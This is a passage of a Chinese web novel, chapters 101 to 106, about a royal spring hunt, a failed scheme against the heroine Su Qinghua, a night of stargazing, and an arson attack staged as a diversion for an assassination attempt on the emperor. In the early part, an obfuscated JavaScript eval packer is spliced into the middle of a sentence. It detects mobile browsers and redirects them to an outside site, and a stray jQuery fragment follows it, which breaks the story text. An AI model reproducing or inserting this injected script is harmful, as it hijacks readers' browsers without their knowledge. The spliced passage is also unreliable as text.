“好,这主意好,我不会狩猎,便在旁边做个见证。”秦静姝在旁边也开口道。 “秦姐姐,属你聪明,你这可是这赚不赔,只等着吃便可以的好买卖。” “哈哈哈,我这点小心思,都被妹妹识破了。” 四人谈笑风声,一时间忘记了其他人的存在。 隔着不远的苏清瑶看着这一切,内心愤恨,刚救了周玥的好心情,也瞬间降低了不少。 慢慢的,回来的人越来越多,广场上更热闹了,刚才周玥受伤的低落氛围,也被暂时遗忘。 “不知道今年,谁会夺得魁首。”礼部尚书之子说道。 “那还用说,太子已经连续四五年蝉联魁首,今年太子必定还会夺冠,我只好奇,皇上今年会奖赏太子什么宝物。” 说话的正是皇后娘家的一位子侄。 “是呀,太子能力超群,不愧是赵阳储君。” “太子回来了!”不知是谁发现了太子的身影,大声喊道。 “太子千岁千千岁!”一时间恭维太子的声音响起。 “哼,不过是主子懒得出手,否则夺得冠军的机会,太子一次也不会有。”碧山在心里不由冷哼。 “众人都回来了吧,你们速速去将猎物找回,并点数完毕,报上数来!”赵阳帝对着大内侍卫挥手,几十大内侍卫瞬间架着马车,消失在深林。 只一刻钟的功夫,寻找猎物的侍卫,便又重现身影。 只见他们拉着一个大车,里面满满当当,有兔子、野鸡、野猪、狐狸、鹿,甚至有一只老虎。 清点猎物由礼部尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489097|169819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书亲自负责,每人出发之时,所拿弓箭都带有不同的标识,只需查看标识,便可以分清,哪只猎物是谁射的。 “楚爱卿,今年是谁的猎物最多呀?”赵阳帝见清点完毕,立刻好奇发问。 礼部侍郎楚封立刻拱手回道:“启禀陛下,新晋靖远伯苏赫,共射得猎物三十五只,数量是众多人中最多的,更难得的是,他竟还猎的一只老虎,是本次春猎,当之无愧的魁首。” 赵阳帝闻言,先是一愣,随后开怀大笑道:“好,不愧是老靖远侯亲传,果然有其祖父之风。赏,将我那把霸王弓拿来,赏给苏赫,以后拿着此弓,等于尚方宝剑,上可杀贪官,下可杀恶民!” 底下众人闻言,不由小声唏嘘感叹。 “没想到呀,今年这苏赫竟夺得魁首,他竟真的敢.......” “是呀,自从太子长成,除了宋公子当年赢过一次,可无人再敢赢太子了。” “对呀,后来便是宋公子也避其锋芒,今年这苏赫竟然敢跳出来,不知他是真的胆子大,还是单纯蠢。” 听到下面的议论之声,三个当事人心境却全然不同。 宋墨渊:我只是懒得杀那么多动物,赢的那一年,完全是因为心情不好,趁机发泄而已...... 太子:什么叫无人敢赢孤?本就是你们能力不敌,还有这该死的苏赫...... 苏赫:皇上先是封他靖远伯,又让他当大内侍卫,目的便是考察他。 他使出全力,赢得此次春猎魁首,一是为了向赵阳帝展现他的实力,二嘛,便是为了向赵阳帝展示忠心。 毕竟连太子都敢得罪,这意味着,他忠于的,只有赵阳帝一人。 妹妹看似被封公主,风光无限,可多少眼睛盯着,多少双手等着伸向她,他不尽快想办法取得皇上信任,又如何能做妹妹靠山,保护与她? 赵阳帝看向底下年轻子弟,这些都是赵阳的将来,可真正能拿出手的,却没有几个,特别是皇族子弟...... “大皇子呢?”赵阳帝忽然发现,竟不见大皇子身影。 第一百零一章 经过赵阳帝询问,众人才恍然惊觉,原来大皇子并不在现场。 “启禀皇上,刚才我见大皇子,跟清华公主一起走的,想必她应该知道,大皇子现在何处。” 苏清瑶刚救了周玥,得了太后夸赞,现在又有机会拉踩苏清华,她不由心中暗叹,今日果然是黄道吉日!晚上的任务必然也会进展顺利! 赵阳帝闻言,看着苏清华问:“清华公主,可有此事?” “回皇上,刚狩猎开始的时候,大皇子主动过来找我,说是为太极殿宴上的事,与我道歉。我见他态度诚恳,便欣然接受了他的道歉。后来我便与他分开,碰见了宋公子,与他还比试了一场,至于大皇子现在何处,我却不知晓了。” 宋墨渊拱手一礼,应和道:“是,我在密林遇到清华公主,有幸射箭赢了清华公主,后来我们便一起赶至这里,没有再分开过。” 宋墨渊说到没有再分开过时,语气不由上扬,藏着暗暗的开心。 “卫统领,刚才在围场收集猎物的时候,可有发现大皇子?”赵阳帝看向大内侍卫统领问。 “回禀皇上,臣等并未发觉。” “皇上,眼看便要天黑,如今正是春寒料峭之时,日落之后尤其天寒,我们还是尽快找到大皇子为妙。”苏清华提醒道。 “卫统领,立刻派大内侍卫,在围场周围寻找,日落之前,务必找到大皇子。”赵阳帝吩咐。 “是。” 下一瞬,玄色衣衫的大内侍卫,再次迅速消失,在围场周围,进行地毯似的搜索。 其他贵族子弟见状,主动请缨,也参与到寻找大皇子的行列。 半个时辰之后,卫统领来报,终于有了大皇子的消息,不过现场发生点意外,他不知该如何处置,所以回来询问赵阳帝。 赵阳帝劳累了一天,身体早就不适,太子见状,急忙主动请缨,说他会处理此事,让赵阳帝先行回宫休息。 赵阳帝欣然应允,还夸赞太子孝顺。 太子兴高采烈,骑着马往发现大皇子的方向而去。 苏清华心中好奇,便也跟着前去看热闹,她倒要看看,这刘诗雨会怎样编出一套,令众人信服的故事? 宋墨渊见她要去,便也紧随其后。 苏赫要保卫赵阳帝,便没有前去,秦静姝也累了,便也回行宫了。 苏清华跟紧太子,果然还是走的去山洞的路。 当他们到时,里面早已围满了人。 见到他们几人到来,主动让开一条通路。 众人刚让出空隙,太子当先便大声喝道:“你是谁?你对大皇子做了什么?他为什么会昏迷不醒?”一连三问,气势逼人。 苏清华顺着太子目光方向,抬眸望去,只见大皇子躺在石床之上,双眼紧闭,昏迷不醒,至于刘诗雨,则躺在他身侧,紧紧的抱着他。 等到太子问话,她方才松开紧抱大皇子的双手,起身从石床之上下来。 不过由于长时间未行走,加上四肢冻的僵硬,她一下床来,便手脚发软,摔倒在地,好巧不巧,正摔在太子脚边。 刘诗雨顺势匍匐在地,跪着向太子回道:“太子殿下,臣女刘诗雨,父亲乃北境驻守的一名百户,刘林。 今日我在狩猎的时候,走到这附近,忽然遇到昏倒在地的大皇子,他身上多处有伤,好似是摔下马导致的。 我本想着叫醒他,可无论我怎么叫,他就是不醒,我又想将他扶上马,送他回营地,可臣女身体羸弱,根本搬不动大皇子,我又大声呼喊,可由于此处偏远,半天也无人回应,臣女担心附近有野兽出没,便只好将大皇子搬到这山洞,等着有人找来。 刚开始还好,可随着太阳西下,天气越来越冷,大皇子身上也越来越凉,臣女没有办法,便只能突破男女大防,用身体给大皇子取暖......” 待她讲述完毕,众人皆是震惊,赵阳虽民风开放,事情紧急,男女同处一室,倒也没什么,可用身体给大皇子取暖,这已算有了肌肤之亲...... 况且她是为了救大皇子,若此事为真,这刘诗雨怕是必定会嫁入皇家了。 大皇子虽不如太子尊贵,可毕竟是皇族! 顿时,有艳羡的,有嫉妒的,也有不屑的。 “哼,太子千万别听她一面之词,说不定是她设计陷害大皇子,想趁机嫁入皇家!”苏清瑶开口道。 刘诗雨没有抬头去看,也知道这是谁的声音,她内心对苏清瑶的恨意更深。 太子闻言,也觉得此事可疑。 大皇子虽不济,可骑术上却很有天赋,甚至不输给他,又怎会突然坠马? 太子立刻吩咐随行太医:“立刻帮大皇子检查身体,并想办法帮大皇子清醒。” 随后他看向刘诗雨,警告道:“若是你敢撒谎,我必将你碎尸万段。” 太医不敢耽搁,立刻上前检查。 苏清华远远看着,不由好笑。 她本来只将大皇子的头,朝着桌面撞了一下。太医在检查之时,却发现他身上多处淤青。怪不得他昏睡这么久,都未醒来,想是被刘诗雨打晕多次了。 先前烤好的野鸡跟火堆,此时也不见踪影,刘诗雨这几个时辰,可没闲着,光是将那些柴火搬出去,也得费不少力气。 幸好这山洞极其隐蔽,春猎之时,众人又一心狩猎,没往这边来,否则刘诗雨若被发现,必是死路一条。 苏清华心中暗忖:人为财死鸟为食亡,这刘诗雨为了权力,竟敢铤而走险,伤害皇子,只是大皇子未必会看得上她!太子也未必愿意她嫁入皇家。 她爹虽只是张之熊手下一名百户,可跟军字占了边,太子便不会让大皇子沾上。 太医给大皇子施了银针,又服用了醒脑的药丸,大皇子终于悠悠转醒。 他坐起身来,看着洞中众人,紧皱眉头,一时搞不清状况。 “大哥,你怎会晕倒在这里?而且身上还有多处淤青?”太子见他醒来,第一时间发问。 大皇子眼神迷糊,脑袋昏沉,待听到太子问话,再看洞中这么多人,更是懵逼。 “大皇子,您坠马受伤,我见您晕倒,便将您扶入洞中,你可还有印象?” 刘诗雨一下扑到大皇子身边,开口提醒道。 太子见状,立刻命人将她押下去。 “谁准你多嘴?在没弄清楚状况以前,你可是有谋害皇子的嫌疑。” 刘诗雨还想再说什么,却被侍卫捂住了嘴。 “清华公主,不是我们两人在这烤鸡吃吗?”大皇子开口道。 第一百零二章 星空许愿 “大皇子莫不是摔糊涂了?我与你在密林便分手了,又怎会跟你吃烤鸡?” “太医,你赶快跟大皇子检查下,他不会真摔傻了吧?这里哪有吃过烤鸡的样子?”户部尚书之子,太子的表哥说道。 他平日便看不起大皇子,不过仗着皇族身份,如今有机会打压,便毫不客气。 “对呀,刚才宋公子也可以证明,清华公主跟他在一起,又怎会有空在这吃鸡?太医你快给大皇子好好检查下,是不是刚刚受伤严重,脑子受损了?”另一位皇室公子也开口道。 “大皇子的脑袋确实受过剧烈撞击,脑内有明显的瘀血,至于到底是否受损,还需慢慢观察。”太医认真答道。 “那大皇子岂不是,真有可能成了傻子?”太子表哥语气戏谑,明显的幸灾乐祸。 太医不敢提傻字,只说:“大皇子可能只是记忆一时受损,待瘀血散尽,应该就会恢复。” 大皇子越听,脸色越是难看,他只说了一句话,怎么就成了傻子? 他本是跟苏清华在这洞中,怎会变成刘小姐?而且他明明是被苏清华撞晕的,怎么变成摔下了马? 大皇子脑中迅速思索,该如何应对此时场面。 今日之事,他本想给苏清华下药,若是此事成了,苏清华声誉也就没了,那时候她唯一的选择,便是嫁给他,然后帮他保守秘密,毕竟夫妇一体。 可如今此事没成,他下毒之事,便成了送给苏清华的把柄。她若是将此事告知父皇,父皇为了两国安危,说不定又会处罚他。 就在大皇子权衡之际,苏清华也紧盯他的一举一动,手中药粉不由攥紧,只要他敢胡说一句,她便会让他真成为,什么都不记得的傻子。 “我头晕的很,具体发生了什么,我也不记不清了。” 苏清华闻言,右手轻轻一收,将准备好的药粉暂时收起,既然大皇子识趣,她便先饶他一次。 大皇子并不知道自己逃过一劫,只内心不断思索,接下来该怎么做,最后他为了保险起见,再次谎称头晕,想回营帐休息。 太子见状,也无可奈何,便命人扶着大皇子,返回营地,刘诗雨则暂时放了,他则亲自到行宫,与赵阳帝汇报这边情况。 赵阳帝听闻此事,不由皱眉:大皇子果然成事不足败事有余,没设计成苏清华也倒罢了,怎么又出来个刘诗雨,还有这刘诗雨不是太后赐给苏赫的吗?如今她发生了此事,太后那边,倒是有了完美的理由。 不过他并没有急着处置,毕竟是一国太后,他的嫡母,他也不能太过直接的打她脸。 苏清华见大皇子妥协,便失了继续凑热闹的兴趣,早早的离开了山洞。 宋墨渊也紧随其后,待离开山洞一段距离,他开口问:“你可饿了?若是不饿,我带你去一个地方如何?” “奔波了一天,是有点饿了。”苏清华如实回答。 宋墨渊闻言,眼神明显失落,不过他还是强装没事,说:“那我送你回去。” “你怎么不问我,刚才我跟大皇子之间,到底发生了什么?”苏清华好奇问道。 “无非是他想对你下手,被你反将一军罢了。”宋墨渊缓缓开口。 他早已熟悉苏清华的性格,她并不喜欢别人刨根问底,他即喜欢她,便会尊重她的喜好。 “若是那个地方值得,我倒是可以再忍一会儿。”苏清华回头看向宋墨渊,露出一丝狡黠的笑。 宋墨渊一时没反应过来,稍愣了片刻,才眉毛一挑,信誓旦旦的说:“保证值得,若是你去了不满意,那你接下来几天的饭食,我都包了。” “那还等什么?”苏清华一勒马缰,率先出发。 “驾...”宋墨渊轻夹马覆,很快追上。 两个身影,就着浅浅的月光,往一处山坡奔去。 大约过了半个时辰,宋墨渊终于开口:“到了,就在那。” 苏清华顺着他的手指方向望去,见是一个不起眼的山洞。 “宋公子,你带我跑了这么远,不会就是为了找个山洞,然后行跟大皇子同样之举吧?” 宋墨渊举起右手,伸出两指:“我宋墨渊对天发誓,绝对不会做任何伤害苏清华的举动。” 苏清华见他一脸认真,不由轻笑出声:“我开玩笑的,赵阳谁人不知,宋公子峻拒群芳,矜傲如霜,对所有女子毫无兴趣,又怎会对我有不轨之举?” 苏清华可是亲眼见他,如何冷傲拒绝周玥的,所以对他才会如此放心。 宋墨渊闻言,心头不由一抽:什么叫对女子毫无兴趣?说的好像他有什么隐疾一样? “你快过来看,这里真的好美。” 宋墨渊还未想好如何解释,苏清华已率先进入洞中,并回头呼唤宋墨渊。 “来了。” 宋墨渊应声之后,大步朝着苏清华走去。 待宋墨渊走近苏清华,苏清华突然抓住他的手腕,手指指向头顶——一片穹顶状的凹陷,露出暗色的天空。细碎的星光,顺着岩壁的沟壑流淌下来,银河在裂隙上方铺展,星星像眨着眼睛,有些坠落在洞底的水洼里,随着涟漪轻轻摇晃。 苏清华的呼吸声变得绵长,她轻轻说:“我们好像进了水晶球里。” 苏清华感受着风从洞口掠过,带着洞外深林的气息,却又沾着洞里的潮湿。星光与山壁的轮廓渐渐模糊,分不清是星辰坠入了洞穴,还是她漂浮在了空中... “愿大哥与秦姐姐终成眷属,愿我此生喜乐无忧!” 苏清华喃喃自语,对着星空许愿。她内心又偷偷继续加了一句:愿我早日复仇,离开赵阳,从此自由洒脱,为自己好好活一次。 宋墨渊也学着苏清华双手合十,小声祈愿:愿赵阳与天韶永保和平。接着他也在内心祈祷:愿赵阳平安无事,我与苏清华岁岁如今朝! 两人各自许了愿望,又欣赏静静的欣赏许久美景,感受着大自然的独特魅力。 最终,苏清华肚子咕咕叫的声音,打破了宁静与平和,两人相视一笑,彼此微微点头,一起出了山洞,重新骑上马,往营地方向返回。 宋墨渊没有直接回营地,而是先将苏清华送回行宫。 第一百零三章 火烧宫殿 普通官宦家的女子,只能统一住在行宫最外围的偏殿里,而且一家只能分一间屋子,苏清华由于身份特殊,不但可以住在行宫内院,甚至可以单独拥有一座院子。 这便是身份不同,享受的待遇也不同。 要不为何人人都想往高处走呢? 苏清华回到宫殿的时候,苏赫早已命人将他今日猎的猎物,送了一大部分过来。 “小姐,你可回来啦。”翠竹没有跟着去密洞,此时见苏清华归来,悬着的心也跟着放下。 “李嬷嬷已吩咐下人,将苏大公子送来的猎物都处理完毕,今晚能吃的,通过煎煮炖炸,做成各式美味的晚膳,来不及吃的,也命人腌制好了,留着后面几天食用。” “翠竹,将今晚所有食物,每样挑选一半,送给宋公子。”苏清华吩咐道。 翠竹点点头,立刻转身去厨房取,不一会儿,便用一个大竹篮,提了满满一篮子,递给宋墨渊。 “多谢了,接下来几日也劳驾清华公主了。”宋墨渊嘴角含笑,一脸幸福。 虽说不是苏清华亲手所做,她亲口吩咐人取来送给他,他也很开心。 苏清华见他一脸笑意,只以为是他在炫耀。 不满的从鼻子哼出一句话:“知道啦,吝啬鬼!” 宋墨渊只当她在撒娇,心满意足的带着战利品回了自己营帐。 “命令厨房以后几日,多做一些膳食,做好之后,都送一部分,去宋公子营帐,再给大哥跟秦姐姐也送一些。” 反正大哥打了那么多猎物,吃不完也浪费,宋墨渊也倒罢了,大哥跟秦姐姐没有私人厨房,做饭也不方便。 “是,小姐。”翠竹应声。 吃过晚膳,苏清华迈步来到寝殿休息,今日奔波一天,她确实累了,没有一会儿,她便进入了梦乡。 半夜,苏清华被渴醒了,今晚厨房做的烤肉有点咸了... 她听着床榻外侧小榻之上,翠竹均匀的呼吸声传来。 她不忍吵醒翠竹,便没有出声,自己起身,想到中央的桌子上倒水喝。 “吱呀”一声轻响传入苏清华耳中。 这明显是门扇开启的声音,可这个时候,进入她寝室的会是谁? 苏清华快速的披上衣服,轻轻挑起纱帘,向外望去。 只见一个黑色身影,蹑手蹑脚,悄悄往屋里进来了。 随后那身影走至衣橱位置,立住身子,从怀里掏出一个容器,打开瓶盖,便朝着衣橱倾倒,有液体随即洒在衣橱之上。 苏清华见状,没有任何犹豫,随手射出一根银针,那身影随即倒地。 苏清华刚要上前查看,外面好似又有声音传来,她静耳倾听,这次来人武功极高,甚至不在她之下。 苏清华不敢耽搁,轻轻走到翠竹身边,使劲推了推她,翠竹立即惊醒。 翠竹如今已非常警觉,她并没有立刻出声,而是立刻坐起身,开始观察四周情况。 待看到那倒地的黑衣人,翠竹立刻明白,今晚又是不太平的一夜。 翠竹并没有像当时在家庙一样,瑟瑟发抖,而是异常镇定的看着苏清华,等待她的指示。 小姐曾说过,有她在,她便不会有事,她对此深信不疑。 苏清华轻拽了拽她的手,拉着她往门口方向走。 走到门口之时,苏清华示意翠竹躲在门口,她则躲在另一侧门后,然后将门打开,嗖的一声,一只带火的箭头直射而来,恰巧射在对面的衣橱之上。 一股幽蓝的火苗“噗”的窜起来,随后迅速的舔舐着整个衣橱。 火苗沿着地上倾洒的液体铺就的道路,迅速蔓延,眨眼间便将床边的沙曼引燃,火势越发汹涌,瞬间便窜到了房顶。 “翠竹,快冲到对面的灌木丛里,然后趴下身子。” 听到苏清华的吩咐,翠竹没有丝毫犹豫,犹如离线的弓箭,使出最快的速度,窜到了对面的灌木丛,躲避了起来。 “嗖。”又一只带火的弓箭朝着宫殿射来,正巧射在宫殿的门上,那木门也被瞬间点燃,红色的火光照亮了整个院子。 就着火光,苏清华见院子对面的围墙之上,离着一个黑色身影,一手拿弓,一手正引燃手中的弓箭。 苏清华趁着他搭箭的功夫,迅速朝着他的方向飞去,右手随即接连甩出,几道银光闪过,那身影闷哼一声,明显中招了。 可他并没有应声倒下,应该是没有击中要害。 那人见苏清华飞来,丢下只适合远攻的弓箭,从身上抽出一根长鞭,朝着苏清华面部袭去。 苏清华侧身躲过,随手又甩出几根银针。 没想到那人射箭功夫不错,长鞭玩的更是精湛,只轻轻一甩,便将银针尽数挥开。 随后,那人便飞身而下,与苏清华对打起来。 危机之时,苏清华并没来得及拿武器,加上她内力一般,须臾间便落了下风。 幸好那人明显左腿不便,行动迟滞,导致下盘明显不稳,苏清华猜测,应该是第一次发射银针时,恰巧打在他左腿之上。 苏清华便利用他的破绽,在院子里左躲右闪,消耗他的体力。 此时,苏清华若是想逃,也十分简单,只是她担心自己逃走后,那人会对翠竹下手,因此不得不与他费力周旋。 “走水啦,走水啦。” 终于外面的侍卫发现了此处的火光,苏清华稍微松了一口气。 只要能支撑到侍卫支援,她跟翠竹两人,今日便可全身而退。 苏清华一边躲避,一边与那人对战,那人见她明明轻功甚好,若是想逃轻而易举,可她却一直在院子转圈,明显是不想离开这院子。 可是这是为什么?难道这院子有十分重要的东西? 那人瞅了一眼,被大火吞噬的房屋,火焰发出“噼啪”的声响,夹杂着木头断裂的声音,即使里面有贵重物品,明显也拿不出来了。 难道是...... 那人忽然放弃了追逐苏清华,一个转身,朝着翠竹躲避的方向而去。 苏清华见状,暗道不好,右手一扬,最后几只银针出手。 第一百零四章 调虎离山 那人知道银针的厉害,急忙侧身躲避,这样一来,苏清华已赶至身边,与他全力拼杀起来。 那人怎么也没想到,他刚才的推测竟对了,这清华公主仗着轻功不错,一直在消耗他内力,却没有趁势离开,竟真的是因为那个丫鬟。 想到此,他已无心恋战,一边拆解苏清华的招数,一边往翠竹的方向慢慢靠近。 只要抓住那个丫鬟,以此威胁苏清华,必可以让她乖乖就范。 翠竹虽躲在草丛之中,可一直观察着外面情况。 她见那人一直试图朝她方西而来,还有什么不明白的,她内心不由一紧:只恨自己无能,非但不能保护小姐,还要成为小姐的累赘!若是她跟绿辰姐妹一样,身负武功的话,即使不能帮小姐,起码可以自保,那样小姐也不会如此被动! 翠竹虽是自责,可她内心也十分清楚,此时若是贸然出去,只会给小姐添加更多麻烦,她只内心祈祷:佛祖保佑,赶快有人来救小姐! 苏清华体力越来越弱,心里也开始紧张起来。 她的弱点已被对方发现,若是想坚持救翠竹,那自己的体力耗尽,也会被一起绞杀,若是放弃翠竹,她尚有一丝生机,只是那样的话,翠竹必死无疑...... “嗨...呀...” 苏清华怒喊一声,运足最后一身内力,朝着那人的胸口攻击而去。 那人没想到她会如此拼命,只好收起靠近翠竹的心思,全力与她缠斗起来。 论原地打架的功夫,苏清华根本不敌那人,只是她使出不要命的打法,对方一时也没能伤她。 只是这种不要命的打法,并不能持久。 苏清华已明显感觉到,内力不足,呼吸不畅,头脑发沉,四肢好似也慢慢不听指挥...... 翠竹将这一切看在眼里,泪水随着脸颊落下。 她再也忍耐不住,站起身来,大喊一声:“小姐,别管我,你快走,奴婢下辈子再伺候你......” 苏清华早已累竭,虽听见翠竹的声音,可也无力逃跑了,她的攻势也越来越乱...... 那人趁机,找到她一个破绽,长鞭卷起她的左腿,狠狠一拽,苏清华站立不住,摔倒在地...... 那人长鞭紧接着,又是一甩,再次朝着她的面部袭来,苏清华眼睁睁看着,却已无力阻挡 “小姐...”就在她以为面容必毁之时,一个身影飞扑过来,趴在她身上。 来人正是翠竹。 那人见鞭子落在翠竹后背,十分恼怒,一脚踢开翠竹,扬起长鞭,再次朝着她的面容袭来,他目标竟好像不是要她的命,而是想毁了她的脸! 苏清华本能伸手去挡,可那鞭子过来之时,苏清华并没有意向当中的疼痛,因为那鞭子软弱无力,抽在她手上,毫无感觉。 苏清华趁势坐起身来,只见那长鞭朝着空中扬去,落在地上,而那黑衣人身子猛然后退,踉跄几步,最后仰倒在地。 “妹妹,你没事吧,大哥来迟了。” 随后,苏清华被人拥入怀抱,她抬头看去,正是她的大哥-苏赫。 苏赫见苏清华虽受了伤,可性命无碍,不由松了口气。 他今日本正好当值,恰巧见苏清华住的院子火光冲天,他便毫不犹豫的赶了过来,苏赫暗自庆幸:幸好来的及时,他手中正好拿着,赵阳帝今日刚赐的弓箭,直接射杀了那黑衣人,若是他今日未得魁首,必不会随身携带弓箭,那后果不堪设想。 他终于可以保护妹妹一次,他冒险赢过太子,夺得春猎魁首,果然是正确的选择! “大哥,你怎会来此?今日不是应该你当值,你擅离职守,万一被人发现,可是死罪!”苏清华语气焦急。 苏赫闻言,解释道:“妹妹这里有危险,我前来救援,乃理所应当,即使皇上知道了,想必也不会追究。” “若是皇上发生了意外呢?”苏清华反问,“大哥,你听我的,现在立刻回到皇上身边,刚才那人若是想刺杀我,悄声过来便是,为何要故意放火?今夜之事并不简单,他们表面上想杀我,可真正的目标,很可能是皇上,他们大费周章的引火,使的必是调虎离山之计!” 苏赫闻言,立刻顿悟,可他实在放心不下苏清华他,她此时已力竭,天五有急事回了天韶国,绿晚口音有异,凡是接触人多的场合,苏清华都不敢带在身边,只剩一个翠竹,他虽是忠心,可却没有丝毫武功...... “清华公主,您没事吧?主子派我前来保护你。” 碧山及时出现,解决了苏赫的后顾之忧。 他感激的看了一眼碧山,说:“此处交给你了。”然后便消失在夜色之中。 “清华公主,臣等来迟,罪该万死!”行宫内巡逻的侍卫也赶了过来。 “我没事,你们快救火吧,别让火烧到别的宫殿去,若是惊扰了太后和皇上,你们便真是性命难保了。” “是,多谢公主恕罪。”那侍卫头领立刻吩咐其他人,有序救起火来。 “老奴来迟,请公主恕罪。”李嬷嬷从一草丛处爬出,见苏清华受伤,急忙请罪。 翠竹厉声道:“李嬷嬷,刚才你去哪了?为何有人进院,你竟不提前呼喊?” “老奴....老奴刚独自不舒服,去了趟茅厕。”李嬷嬷解释。 “你......”翠竹见李嬷嬷狡辩,顾不得背部疼痛,双眼怒瞪着她。 苏清华见状,开口道:“李嬷嬷,你擅离职守,我会将此事,如实禀告皇上。” 李嬷嬷闻言,瘫倒在地,这无疑等于给她宣判了死刑。 “求公主开恩,给老奴一个将功赎过的机会。”李嬷嬷反应迅速,立刻跪地求饶。 苏清华眼神尽带威严的瞟了李嬷嬷一眼,说:“照顾好翠竹,她身上若是留下一点疤痕...” “老奴谢公主开恩,老奴必定将翠竹当祖宗供奉,不让她身上留一点痕迹。” 苏清华转身问碧山:“我们的院子已没办法居住,麻烦帮我们另找一处院子。” 碧山闻言,拱手一礼道:“行宫只有三处主院,除了皇上与太后的,只有此处一座院子,眼下要么去隔壁太后宫里,要么便只能去外院。” “去外院。”苏清华没有丝毫犹豫,立刻说道。 “清华公主,从这里去外院,距离遥远,姑祖母让我前来,请清华公主去她院子里,暂且休息。” 第一百零五章 苏清华循声望去,来人竟是周玥。 她明显腿伤未愈,走起路来,一瘸一拐,她嘴角含笑,朝着她的方向一步步的走来。 苏清华看着,她浑身上下,好似都透着一股奇怪的诡异。 苏清华眉头轻皱,从下午到现在,只有半天时间未见,周玥竟像完全换了一个人,原本苏清华看着,她虽是浑身上下带着一股孤傲,可仍是带着几丝人味,如今她看着她,竟好似是年轻版的周太后,浑身上下的气质竟一般无二。 “不必了,行宫本就不大,太后娘娘的院子并不宽敞,若是我再搬进去,只怕太后更加不便,我便不前去打扰了,烦请周姑娘,帮我谢过太后好意。” 无论是周太后还是周玥,苏清华都是躲避不及,若是平日也倒罢了,今日她已受伤,内力暂未恢复,她可不会去凑热闹。 周玥闻言,并不打算罢休,朝着后面的嬷嬷摆摆手,说:“还愣着干什么,没见到清华公主受伤?还不赶快去抬着她,尽快到太后宫里医治?” 她身后的宫人,不敢耽搁,立刻抬着软轿,走到苏清华面前。 苏清华内心不由轻笑,竟想来个霸王硬上弓! “我若是不去呢?周姑娘竟是想明抢?” “清华公主是关乎天韶与赵阳和平的重要人物,你今日去了太后宫里,太后必会代表赵阳保护与你,可你若是私自到其他地方,万一出了事,可便跟赵阳无关了!” 苏清华闻言不由皱眉,周玥竟敢威胁她! 不过她今夜确实会凶险万分! 那黑衣人身份不简单,轻易带着武器进入这行宫行刺,幕后必有人暗中帮忙。 如今情况不明,她在明,敌人在暗,她若是住进外院,那里人员复杂,确实也很危险。 只是太后与周玥这边,明显也是来者不善.... “既然太后与周小姐盛情邀请,那我便却之不恭了!” 苏清华权衡片刻,最终还是决定去离着较近的太后殿。 毕竟太后是放在明面的敌人,况且太后便是再讨厌她,也不敢公然杀她。 她现在头昏脑胀,体力消耗过度,最需要的是找一个安静的地方,尽快躺下休息,只要她休息一晚,不管太后耍明招还是阴招,她都不惧! 目前只能先走一步看一步了!她倒要看看,这祖姑侄二人,又能玩出什么把戏? 苏清华上了软轿,嬷嬷们便抬着她往太后主院走去,李嬷嬷扶着翠竹紧跟在后,碧山见状,也紧跟在后。 “太后院中,便是你主子亲来,尚需经过请示,层层报备,得到太后许可,方可进入,你一个狗奴才,难道也想跟着进去?” 周玥对碧山说话,竟是很不客气。 “碧山,你先回去,便如实禀告你主子,太后娘娘仁慈,要代表赵阳保护我,她身边高手如云,必会保我平安无事。” “是。”碧山依言退下。 周玥见碧山对她的话置之不理,对苏清华却异常恭敬,内心的怨恨,不由加深了几分。 她表面却毫无波动,便是苏清华也未发现异常。 越是如此,苏清华越是肯定,这周玥必是恨她入骨,欲除之而后快。 待到了太后的主院,周玥命嬷嬷们,将她们主仆,安置在主院后面一个单独的小院。 这小院精致的很,不仅有主屋,还有两座偏殿,甚至有专门的厨房。 周玥指挥着嬷嬷将苏清华抬至主屋,然后开口道:“清华公主,便委屈你暂时住在我的院子吧。” 随即,她开口吩咐道:“你们将我的东西,挪到太后偏殿去,然后将随行的李太医找来,为清华公主诊治。” “不必了,我只是劳累过度,休息一下便好,只让太医帮我的丫鬟看一下便好。” 周玥闻言,也没有坚持,转身离开了房间。 待所有人离开,苏清华已疲惫至极,很快便陷入了熟睡。 刚才一战,她实在耗费心力过多,必须尽快养精蓄锐,因为明天说不定会有新的意外,等着她去战斗! 待到外面微微放明,苏清华被外面纷乱嘈杂的声音惊醒,她睁开双眼,映入眼帘的是藕荷色的帘账。 苏清华恍惚几秒,才恍然想起,她睡得并不是原本的床,而是半夜临时住进周玥的房间,想是这帘账本按照她喜好挂的。 昨夜突发意外,宫人只来的及更换被褥,却忽略了这帘账。 “李嬷嬷。”苏清华扶着额头,轻唤出声。 她虽是睡了一觉,可头却更加晕了。 “老奴在,公主有什么吩咐?”李嬷嬷应声道。 “我睡了多久了?外面什么情况,怎如此混乱嘈杂?”苏清华问。 “回禀公主,昨夜你躺下之时已是卯时,如今正是辰时,您只睡了一个时辰。至于外面如此混乱,是因为太后正安排宫人收拾东西,准备回宫。” “回宫?不是要住三天吗?” 李嬷嬷急忙解释:“昨晚刺客不止袭击了公主,还有几十个刺客,趁乱闯入了皇上宫殿。幸好宋公子跟苏公子及时救驾,否则后果不堪设想。皇上已下令严查此事,为了保证太后安危,皇上命大内侍卫先护送太后回宫。” 苏清华闻言,微微点了点头,一副了然的样子。 昨晚果然是调虎离山之计,对方真正的目标是皇上,袭击她只是为了引起混乱,并且引开侍卫的注意力,特别是要调开大哥。 大哥昨夜若是没有赶回去,即使皇上没事,他也是失职之罪,若是皇上出了事,大哥便更是罪无可恕。 这背后之人,对皇上欲除之而后快,对她跟苏赫却更加痛恨,而符合这一特征的人,好像只有张家...... 难道张家竟狗急跳墙,想要谋反? 此事非同一般,不知皇上那边,会如何看待这场刺杀?最后又是否会找到真凶? 不管如何,大哥不止没有失职之责,甚至还救驾之功,她昨夜虽是惊险万分,可最终还是转危为安,没有很大的损失! “翠竹怎么样了?”苏清华又问。 第一百零六章 如梦似幻 李嬷嬷知道,自己昨夜太过害怕躲了起来,是失职之罪。 苏清华没有深究,给她戴罪立功的机会,她怎敢怠慢? 